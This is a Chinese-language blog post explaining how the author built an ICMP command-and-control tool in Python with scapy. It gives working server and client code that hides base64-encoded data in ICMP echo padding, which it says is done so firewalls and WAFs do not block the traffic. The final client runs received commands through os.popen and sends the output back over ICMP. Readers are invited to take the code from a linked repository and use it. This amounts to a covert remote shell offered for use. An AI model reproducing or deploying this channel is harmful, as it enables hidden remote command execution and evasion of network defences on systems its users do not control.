Implementation of ICMP C2

  1. 前言
  2. 正文

前言


之前在学校写了一个ICMP的远控,现在来说一下当初写的思路
15229176406623ca48a181b

正文


windows安装scapy:Windows上安装scapy - 晴空无云 - 博客园

1.首先你得确定你这个远控有啥功能,你要怎么去实现。通过什么协议来实现,数据包的交互过程是?
2.数据在传送过程中会遇到什么问题?数据包过大会不会发送不了,或者只发送一半?
3.是否要对传输的过程进行加密

我这里使用的协议是ICMP,使用scapy来实现ICMP头,然后使用Padding来带入我要发送的值
例如:

server

from scapy.all import *
class demo:
    def __init__(self,eth,dst,src):
        self.eth=eth
        self.dst=dst
        self.src=src


    def server(self,data):
        a= IP(ttl=10, dst=self.dst, src=self.src) / ICMP(type="echo-request") / Padding(load='{}'.format(data))
        send(a,count=1)

if __name__ == '__main__':
    d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
    d.server(data='demo')

client

from scapy.all import *
class demo:
    def __init__(self,eth,dst,src):
        self.eth=eth
        self.dst=dst
        self.src=src

    def client(self):
        jieshou = sniff(iface=self.eth, filter='icmp', count=1, timeout=99999)
        paddings = jieshou[0]['Padding']
        print(paddings)
        jg = str(paddings).lstrip("b'"[0]).replace("'", '')
        if jg != '':
            print(jg)
if __name__ == '__main__':
    d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
    d.client()

kqhYr9.png

由于Padding头最多带的数据好像是1084byte,所以发送数据的时候要进行分段

为了确保不被防火墙或WAF拦截数据,对传输的数据进行base64编码
例子:
server

from scapy.all import *
import base64
class demo:
    def __init__(self,eth,dst,src):
        self.eth=eth
        self.dst=dst
        self.src=src


    def server(self,data):
        a= IP(ttl=10, dst=self.dst, src=self.src) / ICMP(type="echo-request") / Padding(load='{}'.format(data))
        send(a,count=1)

if __name__ == '__main__':
    d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
    bm=bytes.decode(base64.b64encode(b'demo'))
    d.server(data=bm)

client

from scapy.all import *
import base64
class demo:
    def __init__(self,eth,dst,src):
        self.eth=eth
        self.dst=dst
        self.src=src

    def client(self):
        jieshou = sniff(iface=self.eth, filter='icmp', count=1, timeout=99999)
        paddings = jieshou[0]['Padding']
        jg = str(paddings).lstrip("b'"[0]).replace("'", '')
        if jg != '':
            print(bytes.decode(base64.b64decode(jg)))

if __name__ == '__main__':
    d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
    d.client()

命令交互:
方法:
1.发送命令被控端接受命令
2.被控端接受了命令并将base64解码执行完成后
3.通过逐步读取然后base64编码发送,最后发送执行命令后的长度
4.服务端接受返回结果base64解码输出,如果接收到最后的长度就代表接收的数据是完整的

例子:
server:

from scapy.all import *
import base64
class demo:
    def __init__(self,eth,dst,src):
        self.eth=eth
        self.dst=dst
        self.src=src


    def server(self,data):
        a= IP(ttl=10, dst=self.dst, src=self.src) / ICMP(type="echo-request") / Padding(load='{}'.format(data))
        send(a,count=1)

        self.js()
    def js(self):
        while True:
            jieshou = sniff(iface=self.eth, filter='icmp', count=1, timeout=99999)
            paddings = jieshou[0]['Padding']
            jg = str(paddings).lstrip("b'"[0]).replace("'", '')
            try:
                if jg != '':
                    print(bytes.decode(base64.b64decode(jg)))
            except:
                pass
            if jg.isdigit()==True:
                break


if __name__ == '__main__':
    d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
    bm=bytes.decode(base64.b64encode(b'whoami'))
    d.server(data=bm)

client

from scapy.all import *
import base64
import os
class demo:
    def __init__(self,eth,dst,src):
        self.eth=eth
        self.dst=dst
        self.src=src

    def fs(self,data):
        a= IP(ttl=10, dst=self.dst, src=self.src) / ICMP(type="echo-request") / Padding(load='{}'.format(data))
        send(a,count=1)


    def client(self):
        jieshou = sniff(iface=self.eth, filter='icmp', count=1, timeout=99999)
        paddings = jieshou[0]['Padding']
        jg = str(paddings).lstrip("b'"[0]).replace("'", '')
        if jg != '':
            zx=os.popen(bytes.decode(base64.b64decode(jg)))
            q=0
            for z in zx.readlines():
                zb=bytes.decode(base64.b64encode(bytes(z,encoding='utf-8')))
                self.fs(zb)
                q+=int(len(zb))

            self.fs(q)

if __name__ == '__main__':
    d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
    d.client()

kqLXnK.png

kqLzAe.png

还有一些其他功能,也差不多类似。仓库地址如下(各位可自己修改代码自己用):
python/ICMP远控 at master · 422926799/python · GitHub

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Implementation of ICMP C2

本文作者:九世

发布时间:2019-03-03, 08:25:02

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/eac90672.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录